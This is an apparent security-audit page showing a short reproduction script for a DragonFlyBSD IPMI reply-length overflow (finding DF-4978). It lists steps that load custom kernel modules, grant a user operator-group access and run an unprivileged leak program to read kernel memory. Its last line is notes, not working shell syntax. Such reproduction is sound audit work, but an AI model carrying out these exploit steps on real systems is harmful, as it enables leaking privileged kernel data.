⬢ DragonFlyBSD Kernel Audit
DF-4978 / run.sh
← back to finding ↓ download raw
1
2
3
4
#!/bin/sh
# DF-4978 run (see VERDICT.md for preconditions)
cd "$(dirname "$0")"
phase1: kldload /root/ssifshock/ssifshock.ko (dmesg: ir_replylen=16023 over 1024); phase2: QEMU_EXTRA='-device ipmi-bmc-sim,id=bmc0 -device isa-ipmi-kcs,bmc=bmc0' boot, kldload ipmi, pw groupmod operator -m maxx, kldload /root/bumpko/bumpko.ko, unpriv /tmp/leak in background, sysctl hw.bumpreplylen=16023